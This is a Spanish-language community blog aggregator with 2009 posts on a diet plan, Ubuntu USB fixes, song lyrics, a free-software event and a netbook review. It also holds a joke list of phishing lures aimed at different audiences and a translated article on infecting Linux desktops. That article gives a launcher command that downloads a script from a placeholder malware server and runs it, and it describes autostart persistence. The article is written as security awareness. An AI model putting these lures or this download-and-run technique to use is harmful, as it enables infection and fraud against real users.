Planeta Gruslic



taxi-sour
taxi-sour
taxi-sour
taxi-sour

20 / 06 / 2009

bonovoxmofo

bonovoxmofo@Iván Alejandro Alemán Villasana$ sl_

Solo una dieta... no es que este a dieta!!!

A los 20 minutos de haberse levantado tomar un "Snack 1-2-3":

1. Media manzana || 7 uvas grandes || 10 uvas pequeños
2. 2 rebanadas de jamón de pavo || 30grs de queso cottage
3. 3 almendras || 3 medias nueces

Desayuno y cena:

Fruta en cuadros con queso cottage un plato agregar granos crudos*
The || jugo natural || cafe descafeinado || leche deslactosada

Snack a media mañana:

Plato de frutas como el desayuno

Comida:

Carne: blanca ave (pavo o pollo), pescado (salmón)
Legumres: tipo tepanyaki (calabacita, zanahoria, chicharos, papas, brocoli, champiñon, paprika)
Frutas: papaya, ciruela pasa, jugo de naranja
Ensaladas verdes: lechuga, col, espinaca, germinados, paprika, jitomate (desinfectadas con microdyn)

Cena:

Parecida al desayuno o un Snack

NO REFRESCOS
NO PAN
NO TORTILLAS
BEBER AGUA ABUNDANTE

* Granos crudos: en un topper la mitad de avena, una cuarta parte de semilla de girasol y una cuarta parte de linaza y ajonjolí y almendras.

Solo eso, una dieta... quizás este pensando en usarla... solo quizás.

bonovoxmofo / 20 - 06 - 2009 / 02:27 PM

taxi-sour
taxi-sour
taxi-sour
taxi-sour

28 / 04 / 2009

Humoram

Humoram@Humberto Morales Sánchez$ sl_

CURIOSIDADES DEL USB EN UBUNTU INTREPID

Hola comunidad.

Así como lo indica el titulo de este post es muy interesante ver como se comporta cada uno de las distribuciones de GNU/Linux cuando por necesidad tienes un aparato que quieres que funcione bien con tu SO, en mi caso y probando con Feisty e Intrepid tube problemas con que no conectaba mi celular y en la tableta wacom el lápiz ya no le funcionaban los botones algo pasa con los módulos USB, entran en conflicto, por esa razón me puse a investigar en varios sitios lo que ocurría y en este post voy a exponer mi experiencia y probable solución para ello, muy en especifico para estas dos cosas que a mi me dejaron de funcionar.

Voy citar algunas paginas que me fueron muy útiles:

En esta pagina encontré la solución para crear un enlace de carpeta en la del usuario y poder montar el dispositivo que en este caso es el celular en ella, la traduciré para que tengan un poco mas de idea además esto es para sincronizar el celular (esta sugerido especifiamente para celular Motorola V8, yo tengo el W5 y me funciono, pondré "Humoram:" donde vaya haciendo comentarios sobre la traducción):

http://www.modmymoto.com/forums/showthread.php?t=55424

(How to) Montar RAZR2 V8 en Linux con MTPFS

Hola a todos, tengo este teléfono y después de jugar con todo tipo de juguetes, etc...supuse que el MTP soportaría y me daría acceso a este dispositivo desde Ubuntu.

Creo que he encontrado una solución satisfactoria de la siguiente manera:

1. Desde la terminal tecleo:

sudo aptitude install libfuse-dev libmad0-dev

2. Descarga MTPFS desde: http://www.adebenham.com/debian/mtpfs_0.7-1_i386.deb

3. Instala el deb

4. Crea un directoria en tu carpeta de usuario que se llame MTPdevice.

Humoram: después de instalarlo, el sistema de update les avisara que necesitan actualizar el paquete si es que no lo tienen.

5. Agregate al grupo de "fuse": Sistema> Administración> Usuarios y grupos> Gestionar grupos> fuse> propiedades y a continuación tu nombre de usuario. salir de la sesión y poner contraseña.

Humoram: En este punto antes de pasar a la sección de gestionar grupo te sugiero desbloquear para que se acepten los cambios antes de seguir, esto no se menciona y se detiene uno en este punto hasta que sabes que lo tienes tienes que hacer.

6. En tu motorola ir a Menú principal > Configuración> Conexiones > Configuracion USB y escoger Media Sync.

7. Conecta tu celular a la pc, abre una terminal y tecleas:

mtpfs ~/MTPdevice

Ahora debería poder acceder al teléfono a través de esta carpeta y arrastrar y soltar la música, etc. como te gusta.

ps... la mayoría de esto lo encontré en: http://ubuntuforums.org/showthread.php?p=2397682

Por último, cuando haya terminado, puede desmontar desde la terminal de la siguiente manera:

fusermount -u ~/MTPdevice

Humoram: en este momento mi celular ya se conectaba como antes y no hubo ningún problema, incluso se abrió la ventana de sugerencia para usar el dispositivo, yo lo abrí como carpeta normal y pude accesar y manipular archivos; a la hora de desmontar el dispositivo el icono del celular se desmonto pero el directorio MTPdevice siguió ahí y no se desmonto.

Espero que este sea de alguna ayuda, si alguien hace mejor el progreso, por favor hágamelo saber

Crédito para este howto dysphasi supe de el en ubuntuforums.me

Humoram: Hasta aquí termina lo visto en esta pagina los comentarios a este también, en fin mi aventura no termino ahí, cuando reinicie la maquina resulta que al conectar el celular nuevamente no paso nada puse las mismas instrucciones en la terminal y nada, en fin de nuevo a la búsqueda, encontrándome con esto que también me dio resultado:D

http://www.ubuntu-es.org/index.php?q=node/90066

Humoram: En un comentario el cual cito a continuación:

Esta es la solución, enviado por ronld el Jue, 14/08/2008 - 07:34

Es un problema con el tipo de controlador USB (1.1 y 2.0) cargado en memoria, si tienes los (uhci_hcd y ehci_hcd respectivamente)
te coge el 2.0, pero por ahora solo se puede usar en 1.1, por lo que primero tienes que descargar el modulo correspondiente
que controla la interfaz en modo USB 2.0 y dejar solo el de USB 1.1:

sudo rmmod ehci_hcd

Cuando termines de usar la conexión USB con la GP2X solo tienes que volver a cargar el modulo controlador de la interfaz
en modo USB 2.0 en tu Ubuntu Linux:

sudo modprobe ehci_hcd

A ver si en próximas actualizaciones arreglan esto porque tampoco en Windows lo tienen mejor, algunos tienen que usar el USB Monitor para que se la reconozca

Humoram: Aquí lo que hice fue desmontar el modulo ehci_hcd en terminal:

sudo modprobe -r ehci_hcd

lo que sucedió fue que perdí la tableta wacom que es USB ya no tenia puntero y cargue el modulo uhci_hcd.

sudo modeprobe uhci_hcd

y lo que sucedió es que se volvió a conectar la tableta Wacom el ratón no servía pero la pluma si y recupero el uso de lo botones cosa que me alegra mucho porque utilizo mas la pluma; pero al conectar el celular no sucede nada, todabía conectado el celular cargo el modulo ehci_hcd y sorpresa :D se carga el celular.

En si no se exactamente en que radique lo que sucede pero esa fue mi experiencia, espero les sirva de algo.

Saludos

ATTE

Humoram

Humoram / 28 - 04 - 2009 / 12:51 AM

taxi-sour
taxi-sour
taxi-sour
taxi-sour

29 / 03 / 2009

TuXsOuL

TuXsOuL@Mario Oyorzábal Salgado$ sl_

danna paola - mundo de caramelo .....

Hazme un mundo de caramelo,
llena el aire con algodón,
que los dulces caigan del cielo,
las estrellas piñatas son,
de repente las alegrías,
se me antojan de corazón,
si me como a besos la vida,
chocolate los sueños son.

Pa' que todo lo que este bueno,
siempre este a punto de turrón,
si los dulces son de colores
los recuerdos también lo son,
en el cine las palomitas,
el calor para los raspados,
chocolate de la abuelita,
para el frió del corazón.

Picosita la vida,
dulcecito el amor,
sonrisitas de nieve que me
regalen un rayito de sol,
arrocito con leche, pa' vivir,
para darle sabor a todo
lo que de pronto se queda triste,
se queda solo.

Quiero un mundo de caramelo,
donde todo sepa mejor,
y esa niña que llevo dentro,
se me escape del corazón.

Pa' que juegue con sus amigos,
y se ría con todo el mundo,
que la risa de todos los niños,
es la música del amor.

Hazme un mundo de caramelo,
llena el aire con algodón,
que los dulces caigan del cielo,
las estrellas piñatas son,
de repente las alegrías,
se me antojan de corazón,
si me como a besos la vida,
chocolate los sueños son.

Picosita la vida,
dulcecito el amor,
sonrisitas de nieve que me
regalen un rayito de sol,
arrocito con leche, pa' vivir,
para darle sabor a todo
lo que de pronto se queda triste,
se queda solo.

Quiero un mundo de caramelo,
donde todo sepa mejor,
y esa niña que llevo dentro,
se me escape del corazón.

Pa' que juegue con sus amigos,
y se ría con todo el mundo,
que la risa de todos los niños,
es la música del amor.

Hazme un mundo de caramelo,
llena el aire con algodón,
que los dulces caigan del cielo,
las estrellas piñatas son.

En el cine las palomitas,
el calor para los raspados,
chocolate de la abuelita,
para el frió del corazón.

Quiero un mundo de caramelo,
donde todo sepa mejor,
y esa niña que llevo dentro,
se me escape del corazón.

Pa' que juegue con sus amigos,
y se ría con todo el mundo,
que la risa de todos los niños,
es la música del amor.

En el cine las palomitas,
el calor para los raspados,
chocolate de la abuelita,
para el frió del corazón.

Picosita la vida .....
Dulcecito el amor .....

TuXsOuL / 29 - 03 - 2009 / 07:09 AM

TuXsOuL

TuXsOuL@Mario Oyorzábal Salgado$ sl_

Elige la sede para este flisol 2009 en Morelos .....

Ya falta poco para el próximo flisol 2009, para quienes recuerden el flisol es un evento el cual se celebra en toda Latinoamérica, con el objetivo de promover el uso del software libre en las comunidades, este evento es totalmente gratuito, si no eres de Morelos, no te preocupes, que de seguro se llevará acabo un flisol cerca de donde resides.

Para quienes estamos en Morelos, ya nos estamos organizando para llevar a cabo este evento en nuestra comunidad, por lo que en esta ocasión necesitamos de tú apoyo, mejor dicho de tú voto, si eres de las personas que quiere asistir al flisol, te pedimos tú voto para elegir la sede en la cual se llevará el flisol, ya que en esta ocasión contamos con tres opciones posibles, de las cuales seleccionaremos una.

Puedes realizar tú voto, te agradeceríamos contestes una pequeña encuesta que no te tomará más de 5 minutos en contestar, claro esta encuesta esta preparada para 100 personas, por lo que si no eres de los 100 primeros, podemos recibir tú voto de otras formas, para más información visita:

http://wiki.gruslic.org.mx

Donde encontrarás información del evento y todo lo relacionado, como métodos de contacto y como mantenerte actualizado, para realizar tú voto te pedimos visites de favor:

http://flisol.gruslic.org.mx

En donde recibiremos tú voto, puedes ayudarnos a que otras personas se enteren del evento, así como también voten por la sede para este flisol, solo comentales de la dirección anterior, ya sea por twitter, por teléfono, e-mail, SMS, etc., etc., solo dí no al spam.

Puedes usar este post (copiar y pegar), por si deseas publicarlo en tú blog.

Gracias y mantente al pendiente del flisol 2009.
Saludos.

TuXsOuL / 29 - 03 - 2009 / 06:34 AM

taxi-sour
taxi-sour
taxi-sour
taxi-sour

21 / 03 / 2009

bonovoxmofo

bonovoxmofo@Iván Alejandro Alemán Villasana$ sl_

ACER Aspire ONE (Azul)

Compre esta -so called- netbook para un proyecto, dadas sus especificaciones y de paso pues su buena compatibilidad con Linux (Kernel 2.6.26 o superior)

La verdad que no es una lap que usarías para el trabajo pesado, si acaso para diagnosticar o la tarea muy casual como checar correo... o como en mi caso usar su mini-pantalla de aparador :) para un proyecto...

El material de la aparatito se siente de mediana calidad y es agradable al tacto aunque debo confesar que el acabado (en este caso de color azul) tiende a mancharse muy fácilmente con las huellas dactilares en el uso normal diario.

La pantalla es de muy buena calidad y se lee muy bien incluso en lugares con bastante luz, eso si el tamaño hace que hagas un tremendo uso de los escritorios virtuales de Linux y claro de alt+tab Confesare que el teclado es incomodo al menos para mi (manos grandes) y que en este caso quizás las HP Mini tengan un punto a su favor con un teclado de mayor tamaño pues el de esta AspireONE tiene teclas muy pequeñas para el tamaño de mis dedos y además considero que la colocación de las teclas 'RePag' y 'AvPag' cerca de las teclas de dirección (arriba, abajo, derecha e izquierda) es un defecto de diseño pues tiendes a presionarlas lo cual no es lindo cuando estas editando algo.

Por otro lado la cámara web ofrece unas prestaciones decentes de acuerdo a sus 0.3 megapixeles :)
Otra cosa insoportable de la netbook es su mousepad es bastante incomodo o mas me resulto inútil de usar si compran una recomiendo dos cosas usen mas el teclado para moverse o bien compren ademas un mouse. El sonido es pobre pero suficiente en el tamaño del aparato, la verdad que no es para nada un equipo multimedia así que no esperen ambientar sus fiestas con el solo uso de los parlantes incluidos.

Otra cosa que resalta -por su pobre desempeño- es la tarjeta de red inalámbrica tiene mala recepción, comprobadisimo, estando el AP a 5 metros sin interferencia de pared la señal tiene una fuerza de 80% y a 2 metros de 90% lo cual para nada es buena indicación de que te podrás mover al piso de abajo o de arriba sin esperar quizás casi la perdida de la señal.

Lo que si les puedo decir es que GNU/Linux lo carga perfecto sin mucha configuración yo use !# Crunchbang Linux y creo que es de las
distros que mejor funcionan con este tipo de equipos. Repito casi todo si no es que todo (ahora no recuerdo) funciona out-of-the-box.

Otra cosa que me llamo la atención es que yo pensaba que estos equipos por tamaño serian ligeros per esta AcerONE no se siente así, si se siente un poquito pesada claro no es que pese kilos y kilos pero si esta cerca del kilo estimo.

No probé compiz pero al parecer no tendría problemas en correr en este equipo, lo que si probé fueron los efectos que trae por default el WM
de !# que no es compiz pero es una indicación de que la cosa funciona je!

El paquete de la netbook incluye cargador, pila y una fundita que me pareció coqueta que la incluyesen pues ya solo basta 'enfundarla' y meterla a la backpack o al portafolios y listo you're good to go.

La revolución máxima que se puede alcanzar es de 1024x
600 a 60hz

Mmmm creo que eso es todo por ahora... conclusión es no gasten su dinero, si necesitan una lap pequeña busquen una de 13.3 pulgadas mínimo creo que es lo mejor entre portable y usable :) saludos, nos leemos.


bonovoxmofo / 21 - 03 - 2009 / 09:18 PM

taxi-sour
taxi-sour
taxi-sour
taxi-sour

17 / 03 / 2009

Humoram

Humoram@Humberto Morales Sánchez$ sl_

SOBRE CORREOS Y MENSAJES JUGOSOS POR ABRIR

Hola Comunidad.

El articulo anterior sobre como escribir un virus para Linux en 5 pasos sencillos, me hizo generar ciertas ideas de humor sobre la parte del mensaje que se enviaría por cualquier medio electrónico para ser atractivo dependiendo al determinado genero, grupo, profesión u oficio, como menciona el autor del articulo de virus en Linux el que históricamente se ha usado de: ¡Whaao checa estas fotos de una chica desnuda atrae a nadie!, menos a un chico que está más preocupado por la forma en la que se la va a pasar las horas sentado para jugar Guitar Hero, pues bien, aquí van los mensajes propuestos:

Oficinistas:

Ve estas fotos, el jefe ha salido de la oficina tardara tres horas en llegar... Anexo una presentación para que veas a donde se dirije...

Ama de casa:

Manita la vecina cacho a su marido con la del 103... te mando las fotos que les tome con el celular checalas al rato platicamos...

Para chavos de secundaria:

¡Wey!, al profe se le calleron sus documentos y le ayude a levantarlos saque rápido unas imagenes del examen extraordinario sin que se diera cuenta checalo te lo paso a ti porque eres mi cuaderno...

Para las chavas de secundaria:

¡Wey! ya checaste el video que le sacaron a la jamona besandose con la cuiji, ya sabia que eran lesbis... checalo esta chido yo ya lo vi varias veces y todavía no paro de cagarme de la risa...

Para los abogados:

Lic. el caso de la señora Lopez a la que esta defendiendo se puso muy pesado la cacharon con el jardinero teniendo relaciones Non Santas, nadamas cheque las imagenes que les tomaron que son como 300 y que pasándolas rápido son una película de cortometraje...

Para comediantes:

Compadre tengo un nuevo numero para que lo ensallemos mañana, es un numero que le robe tras bambalinas a Jim Carrye checalo esta buenisimo...

Para Moteleros (osease los que cuidan los Moteles):

Checa las camaras de los cuartos parece que se apagaron, solo mandan imagenes como esta...

Para Geeks:

La nueva interfase de pantalla lanza zumbidos como la espada láser de el Maestro Yoda, ejecuta el archivo para instalarlo como salvapantallas...

En fin serían muchos los que faltarían por poner a ustedes ¿se les ocurren mas? :D

Saludos

ATTE

Humoram


Humoram / 17 - 03 - 2009 / 05:26 PM

Humoram

Humoram@Humberto Morales Sánchez$ sl_

COMO ESCRIBIR UN VIRUS PARA LINUX EN 5 PASOS FACILES (Traducción autorizadan)

Hola comunidad.

En esta ocación les traigo la traducción que realice sobre el articulo que Foobar amablemente me permitio realizar con su autorizacion sobre How to write Linux virus in 5 easy steps, tema que en su pagina a llevado a actualizar varios aspectos sobre este y que en la sección de comentarios (la cual no traduje :D) se lleva a cabo un sustancioso debate.

En fin sin mas preambulos pasaremos a la susodicha traducción que espero les sirva y espero comentarios :D


COMO ESCRIBIR UN VIRUS PARA LINUX EN 5 PASOS FACILES (Traducción autorizadan)

Nota: Posteo lo siguiente para resumir los puntos y comentarios que he recibido
como parte de los abrumadores comentarios a este artículo. Por favor, lea los siguiente antes (!) de publicar un comentario, ya que algunos los que se quiera referir pueda que ya se hayan abordado.

En caso de lo contrario ...
... solo desplacese hacia abajo en la Guía compacta paso a paso. Si se quiere conseguir algunos de los antecedentes y las explicaciones que acaba de leer a continuación.

El rumor de la arquitectura de Linux a prueba de balas
Que hay en torno a este rumor de que Linux es libre de virus. Se dice en la vieja-moda del multi-usuario en Linux (y otros * nix SOs) que esta prevenido contra los malware, ya que los usuarios normalmente ejecutan sus programas en modo de administrador (como usuario root). Se nos recuerda que la ejecución es poco lo que se necesita para ejecutar cualquier cosa - al contrario de Windows - que ejecutan con casi nada y no se fijan en los archivos adjuntos o archivos guardados de mensajes de correo electrónico o desde un navegador web.

Por lo tanto, se nos dice que la propia arquitectura de Linux es mucho mas superior a la de Windows y que no es posible la propagación exitosa de malware. Por supuesto - se reconoce - un bajo nivel de error, o un desbordamiento de búfer explotables, esa otra cuestión. Pero, no obstante, los usuarios pueden no sólo atrapar un virus por correo electrónico o la descarga de malware de Internet, al contrario de "los usuarios de Windows". Linux los protege de su propia estupidez.

Al menos así va historia . Pero lamentablemente, eso no es verdad. Voy a mostrar cómo es posible en unos pocos pasos escribir un correo electrónico perfectamente válido para un virus de Linux para escritorios modernos. Lo haré porque no quiero descartar Linux. Más bien al contrario: me gusta y apoyo Linux, lo uso en casa y en el trabajo. Soy un gran defensor del software libre y código abierto como los lectores de este blog sabrán. Pero si hay riesgos de seguridad, incluso en mi sistema operativo favorito o distribución, entonces podrá ser discutido. Aún más importante: Una falsa sensación de seguridad es peor que la falta de seguridad. Y sin pretensiones de superioridad ya que esto mejoraría el debate.

Algunas notas antes de empezar

Actualización: Ha habido muchos comentarios acerca de mí utilización sobre el término "virus" que es incorrecto. Se menciona que debo hablar de un "Troyano" en su lugar. Existe un cierto desacuerdo sobre si un virus requiere la interacción del usuario o no, y si se trata de un gusano, estamos hablando de los programas maliciosos que pueden propagarse sin la intervención del usuario. También existe cierto desacuerdo sobre si un programa malicioso que se propaga a través del correo electrónico puede ser considerado como un virus o no. Hay muchas fuentes que mencionan que se le llame a tal cosa un "virus" (un correo electrónico de virus) y otros que sean más exigentes en su definición. Este artículo no tiene la intención de entrar en ese debate. Estoy llamando a este malware "virus", este sí requiere de la interacción del usuario y aunque yo no proporcione el código para saber cómo propagarlo de forma propia (el código sólo se proporciona como de muy alto nivel de pseudo-código).

Debo señalar que: Las vulnerabilidades toman ventaja de las características "de los entornos de escritorio más populares y modernos de Linux Gnome y KDE. El verdadero núcleo de Linux no tiene ninguna de estas vulnerabilidades. Linux (o cualquier otro * nix) sin ejecutar el sistema de Gnome o KDE no presentan ninguno de estos problemas, que es una de las grandes ventajas de separar adecuadamente el núcleo del sistema operativo u otras aplicaciones, tales como el entorno de escritorio.

 Por otro lado, si se ejecutara en estos entornos de escritorio en otros SOs (tal vez en FreeBSD, por ejemplo), entonces posiblemente tengan que tratar con la misma vulnerabilidad. Un título más preciso para este mensaje de correo electrónico, por lo tanto, podría haber sido: ¿Cómo escribir un virus para Gnome/KDE en 5 sencillos pasos. Gnome y KDE son especialmente utilizados en Linux, creo que un virus basado en estos riesgos afectaría a la mayoría de los usuarios de Linux. Así pues, el título elegido sigue siendo válido.

En este artículo se explica qué medidas son necesarias adoptar para infectar un equipo de escritorio y la manera de instalar el software malintencionado y proporcionará información de antecedentes sobre las razones por las que estas medidas sean necesarias así como la razón por la que realmente trabajan. Después de esta explicación hay una más Guía compacta paso a paso al final de esta síntesis. Aunque hay algunos fragmentos de código, el artículo no proporciona ninguna de las piezas de código listo para usarse de este malware.

Hace unos días envié un mensaje a los equipos de seguridad en Ubuntu y Fedora, preguntando si les gustaría echar un vistazo a esto antes de publicar. El equipo de Ubuntu no ha respondido todavía, pero el equipo de Fedora me dijo que este es "muy conocido y el comportamiento esperado" y que no tienen ningún problema con la publicación de este. ¿Bien conocido y esperado? ¿En serio? Pues bien, aquí vamos.

¿Cómo abren los usuarios los archivos adjuntos: ¡Echa un vistazo a estas fotos desnuda!

Si está esperando algunas nuevas, como cosas explotando o algo más inteligente por ejemplo un hackeo, voy totalmente a desilusionarlo. Lo que estoy mostrando aquí es sólo un ejemplo de cómo la vieja escuela de ingeniería social "virus" (que apenas merece ese nombre) que tanto a molestado al mundo de Windows durante tanto tiempo, se pueda ejecutar en Linux, o cualquier otros * nix OS con un moderno entorno de escritorio.
La premisa de este tipo de "virus" es muy simple: Obtener un usuario que ejecute un archivo adjunto ejecutable que se le allá enviado por correo electrónico. Esto no requiere de conocimiento técnico. No hay magia negra aquí. De ningún modo estoy tomando ventaja de una nueva explotación. Para hacerlo funcionar en Linux estoy utilizando las "características" de los modernos entornos de escritorio de formas involuntaria, supongo. Después de todo, "bien conocido y esperado".

Hacer esto en Windows es sencillo. Usted crea sus propios programas maliciosos como un archivo EXE, adjuntarlo a un mensaje que dice algo como: "Whoa, consulte estas fotos de desnudos ....!". El desventurado usuario hace doble clic sobre el archivo adjunto, que en Windows - en ausencia de alguno decente software anti-virus - obedientemente se ejecutara. Antes de que usted lo sepa, el malware está instalado y se apropiara de su sistema. La ejecución del .EXE desde clientes de correo electrónico en Windows es, por supuesto, también "muy conocido y esperado".
¿Crees que esto no es posible bajo Linux? Por supuesto que sí. Solo requiere de uno o dos pasos más. Sin embargo, no hay nada fundamental sobre la arquitectura de Linux, que evite la estupidez o la ignorancia del usuario, que es, por supuesto, el ingrediente principal en cualquier situación de ataque como este.

Sólo hay un pequeño obstáculo, que necesita ser superada. Bueno, dos, en realidad.
En primer lugar, la mayoría de clientes de correo electrónico para Linux no ejecutan archivos adjuntos. Puede que intente abrir si se conoce la extensión como una indicación de un documento o tipo de medio (.Pdf y otros documentos, por ejemplo). Pero eso es todo. Entonces, digamos que ha escrito su malware con una buena secuencia de comandos Python. En ese caso, su secuencia de comandos puede tener la terminación .py, pero el cliente de correo electrónico sigue siendo poco probable que invocará el intérprete de Python para usted. Tendría que cambiar la configuración del sistema para hacerlo, y ¿quién haría algo como esto?

No; necesitamos un enfoque ligeramente diferente. De algo que siempre se ejecuta al hacer clic sobre el. Y aquí es, entonces, donde el usuario debe adoptar un paso mas, lo que podría reducir un poco la tasa de éxito de ataque de esta situación. El usuario debe primero guardar los datos adjuntos y a continuación, hacer doble clic en él. Porque si bien el cliente de correo electrónico normalmente no puede ejecutar un archivo ejecutable en el entorno de escritorio como se puede ver. Por lo tanto, el mensaje de correo electrónico tendrá que ser algo así:

Whoa, consulte estas fotos de desnudos ...!
(si el archivo adjunto no se desea abrir
sólo guardarlo en tu escritorio y abrirlo ...)

 Esto te suena sospechoso como a la mayoría de nosotros, pero "la mayoría" no son "todos", los usuarios y la estupidez está en todas partes. Además, muchos de los usuarios que se basan en la web son clientes de correo electrónico que utilizan como primera rutina guardar de cualquier forma.

No subestimar la ignorancia del usuario - incluso en Linux

Podrás argumentar que la mayoría de los usuarios de Linux tienden a ser un poco mas conscientes de lo que están haciendo. Por lo general, tuvo que hacer una elección consciente sobre su sistema operativo y por tanto, tienden a no ser el típico usuario no técnico. Pero eso está cambiando! A algunos les envían netbooks con Linux por defecto. En ese caso, los usuarios no han elegido Linux y, por tanto, pueden ser tan felizmente ignorante como en Windows que los usuarios que hagan clic en archivos adjuntos de correo electrónico. Además, algunas de las grandes organizaciones están pensando sacar en masa Linux con escritorio por de fauld. Varias ciudades y gobiernos de todo el mundo, por ejemplo. Los usuarios no no tienen conocimientos técnicos, bien y tienen las mismas probabilidades de hacer clic en archivos adjuntos.

Además, el tiempo libre de problemas del pasado han dado a los usuarios de Linux un falso sentido de seguridad. Estamos tan acostumbrados a la constante mantra de "Linux es tan seguro, ni siquiera tiene el software anti-virus!" que probablemente y en realidad no tienen ningún software anti-virus para su captura cuando nosotros estamos a punto de hacer alguna tontería.

Bueno, de nuevo a los aspectos técnicos. La mayoría de clientes de correo electrónico guardar archivos adjuntos en el escritorio del usuario o en el directorio de descarga, cuando el usuario lo quiera buscar. Por lo tanto, si el usuario no quiere examinar el archivo adjunto sin cesar, sino que simplemente hace clic en el botón 'Guardar' en el cliente de correo electrónico, y que normalmente hace este truco: El archivo adjunto estará allí en la cara del usuario. De hecho, me di cuenta de que por alguna razón mi cliente de correo electrónico Evolution a veces tiene problemas normales de apertura, incluso con documentos como archivos adjuntos directamente. Por ejemplo, alguien me envía un expediente .odt , pero Evolution a veces no me inicia OpenOffice. Por lo tanto, cuando esto no funciona, acabo entonces guardando y abriendo. ¡Ya estoy capacitado para hacer este tipo de cosas! Probablemente no soy el único.

Cómo se ejecutan los archivos adjuntos

Hemos dicho anteriormente que los archivos adjuntos normalmente no se ejecutan cuando se almacenan como archivos. No hay ninguna regla que diga que la extensión de archivo indique que un archivo debe ser ejecutado al hacer clic, ya que bajo Windows. (Y este es el segundo gran obstáculo que debemos superar) para el archivo ejecutable bajo Linux (o cualquier otro sistema operativo * nix), la marca de ejecución tendría que ser establecida en los permisos del archivo. Esto es algo que Windows no tiene, y que a menudo es visto como una de las razones por las que puede infectar un PC con Windows de forma tan fácil, y por qué debería ser casi imposible en los sistemas *nix. Al guardar un archivo adjunto de correo electrónico bajo Linux, la marca esta fijada en NO y por lo tanto, el archivo no puede ser ejecutado simplemente haciendo clic en él. Así pues, ¿No se correrá con tal suerte?

No tan rápido. Modernos entornos de escritorio, como Gnome y KDE, convenientemente ofrecer una buena "solución" que se llama "lanzadores". Estos son pequeños archivos que describen cómo algo que debe ser iniciado. Sólo unas pocas líneas que especifican el nombre, el icono que debe mostrarse y el comando a ejecutar. Convenientemente, la sintaxis de los archivos de lanzamiento es el mismo para Gnome y KDE. ¡Y los lanzadores no tienen que tener permisos de ejecución establecidos en ellos! En estos entornos de escritorio tratándose estos archivos como un caso especial, por lo que al hacer clic sobre ellos Gnome o KDE felizmente se ejecutara el comando que se especifica en la descripción de lanzadores y sin la necesidad de que un poco de la ejecución se establezca en el propio lanzador. ¡Ahora si estamos comprendiendo más!

Un problema al que nos enfrentamos ahora es que el comando que puede ser ejecutado por un lanzador sea realmente sólo una línea y un solo comando. Es un poco difícil de instalar malware con un solo comando. ¿O lo es? ¿Qué tal como esta aquí?:

% bash -c "curl
http://www.some_malware_server.org/s.py
-o /tmp/s.py; python /tmp/s.py"

¿Qué significa este único comando y que hace? Comienza bash, un shell de comandos (parte de cualquier instalación por defecto), y pasa una cadena de argumento con dos comandos simples a la misma, que luego ejecute bash. El primer comando (curl) descarga un script de algunos servidor de malware que tiene que crear y, a continuación, almacena la secuencia de comandos en un lugar donde sabemos que podemos escribir a (el directorio /tmp). Tenga en cuenta que en algunos sistemas (Ubuntu, por ejemplo) no tiene curl, sino un comando similar, llamado wget. Que complica la línea de comandos aquí un poco, pero no es un problema insuperable, como se muestra en la guía paso a paso más abajo. El segundo comando (da la llamada al intérprete de Python) que se ejecuta luego recién descargado el script (una secuencia de comandos en este ejemplo). Tanto Python y curl (o wget) están de forman normal en la instalación por defecto de la mayoría de las distribuciones Linux.

Si ponemos esto en la línea de la Exec lanzador por definición entonces un simple clic sobre el lanzador dará lugar a la ejecución de un mando único, que a su vez ejecuta dos comandos, que luego llevan a la descarga y ejecución de una compleja secuencia de comandos arbitrarios. Todos, sin la mas mínima ejecución que se establezca en ninguna lado.

No necesitas ser root para apropiarte de alguien

Nada de lo anterior expuesto requiere privilegios de root. Y ahora nuestro script puede hacer lo que desee dentro de los confines de la cuenta de usuario. Quizá confinado, pero eso no impide la posibilidad de hacer daños importantes.

Por ejemplo, puede empezar a robar a través de la libreta de direcciones del usuario y recoger direcciones de correo electrónico, los envían fuera de malware a nuestro servidor, inicia el envío de spam o el correo electrónico se puede enviar por sí mismo. Se puede instalar una extensión de Firefox que captura contraseñas a medida que el usuario escribe. Se puede comenzar a compartir el escritorio del usuario a través de VNC sin conocimiento del usuario. Se puede iniciar un demonio para que en el fondo aparezcan anuncios. ¡Publicitando Linux!

Todo esto se ejecuta en el proceso de un usuario normal. En verdad, en un sistema de escritorio que normalmente sólo es utilizada por solo un único usuario, la propiedad de cuenta de usuario es casi equivalente a la propiedad root, por eso hace daño en cuestión: Toda acción que interese llevar a cabo en la cuenta de usuario y de cualquier forma.

¿Pero realmente quieres estar como root para el malware? Bueno, hay una manera de hacerlo así, pero esto no está garantizado que trabaje en todos los casos, y francamente no es necesario para infectar una máquina. Entonces, para no distraer de los puntos importantes de este artículo aquí, tengo una punto de discusión como apéndice sobre este tema.

Automáticamente al iniciar el sistema

Pero, incluso si el usuario no es capaz de encontrar el proceso en ejecución, matarlo y luego reiniciar realmente seria absurdo? Ciertamente, se necesitan privilegios de root a fin de obligar a nuestros programas maliciosos que se lanzan automáticamente en caso de reiniciar el sistema, ¿no?

No es así. Los usuarios no necesitan privilegios de root para configurar determinadas aplicaciones para auto ejecutarse cuando se acceda a sus propias sesiones de usuario. Sólo hay que hacer cambios a su propio período de sesiones y cuenta de usuario, no ajustar el sistema. Una vez más, todo comienzo de aplicaciones como parte de la sesión de usuario sólo se pondrá en marcha en el nivel de privilegio del usuario, pero como hemos visto, esto no es un problema importante. Hay muchas cosas interesantes que se puede hacer incluso en ese caso.

Entonces, ¿cómo conseguimos que se auto ejecute cuando al iniciar el usuario se conecte? Hay una serie de scripts que se ejecutan al iniciar un shell, pero el usuario que probablemente haga clic en un archivo adjunto sospechoso no es probable que inicie un shell, en su caso muy a menudo. Afortunadamente, los modernos entornos de escritorio tienen su propio conjunto de comandos que se auto ejecutan al inicio de sesión. En el caso de Gnome, eche un vistazo a lo que se encuentra en ~ /.config/autostart (este directorio puede no existir todavía, si no se ha configurado algún aplicaciones de inicio automático). ¡Así es! ¡Más lanzadores! Esto es cada vez que ejecute el usuario al inicia sesión en Gnome. Para KDE es aún más simple: Sólo enlace a su ejecutable desde el directorio ~ /.kde/autostart.

Nuestros programas maliciosos, sólo tiene que crear una entrada adecuada en esos directorios y se comenzarán a correr cuando el usuario se conecta!

Y eso es todo lo que a el se refiere. Dejo el script de la secuencia de comandos de software malicioso como un ejercicio para el lector.

Guía compacta paso a paso.

Bueno, aquí está el resumen a continuación, que también llena en unos pocos detalles más específicos:

1. Escribir una pieza de malware de su elección. ¿Tal vez como una secuencia de comandos Python? Buen lenguaje, código eficiente, pre-instalado en la mayoría de distribuciones Linux y poderosa biblioteca estándar de apoyo (por ejemplo, las bibliotecas para el envío de peticiones HTTP y SMTP manejo son parte de la mayoría de las instalaciones). Colocar el malware en algunos servidor web.

